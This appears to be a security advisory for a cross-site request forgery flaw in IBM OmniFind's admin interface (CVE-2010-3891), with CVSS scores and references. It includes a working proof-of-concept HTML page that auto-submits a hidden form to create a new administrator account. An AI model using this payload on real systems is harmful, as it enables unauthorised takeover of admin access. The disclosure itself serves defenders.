IBM OmniFind CSRF Vulnerability

2010.11.15

Credit: Fatih Kilic

Risk: Medium

Local: No

Remote: Yes

CVE: CVE-2010-3891

CWE: CWE-352

CVSS Base Score: 6.8/10

Impact Subscore: 6.4/10

Exploitability Subscore: 8.6/10

Exploit range: Remote

Attack complexity: Medium

Authentication: No required

Confidentiality impact: Partial

Integrity impact: Partial

Availability impact: Partial

The forms in the administrator interface are not protected against XSRF. The
attacker can do any action in the context of the victim.
An example attack scenario could be:
The attacker creates a malicious website with a prepared form to add a new
user, which will be submitted on load.
Exploit to add an admin user:
<html>
<head><title>Some seemingly benign web-site</title></head>
<body onLoad="document.forms[0].submit();">
<form method="post"
action="http://omnifind-host/ESAdmin/security.do">
<input type="hidden" name="command" value="saveNewUser"/>
<input type="hidden" name="user.name" value="joemueller"/>
<input type="hidden" name="user.role" value="0"/>
<input type="hidden" name="user.allCollections" value="true"/>
<input type="hidden" name="apply" value="OK"/>
</form>
</body>
</html>

References:

http://www.vupen.com/english/advisories/2010/2933

http://www.securityfocus.com/bid/44740

http://www.securityfocus.com/archive/1/archive/1/514688/100/0/threaded

http://www.osvdb.org/69083

http://www.exploit-db.com/exploits/15473

http://security.fatihkilic.de/advisory/fkilic-sa-2010-ibm-omnifind.txt

See this note in RAW Version

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IBM OmniFind CSRF Vulnerability

References:

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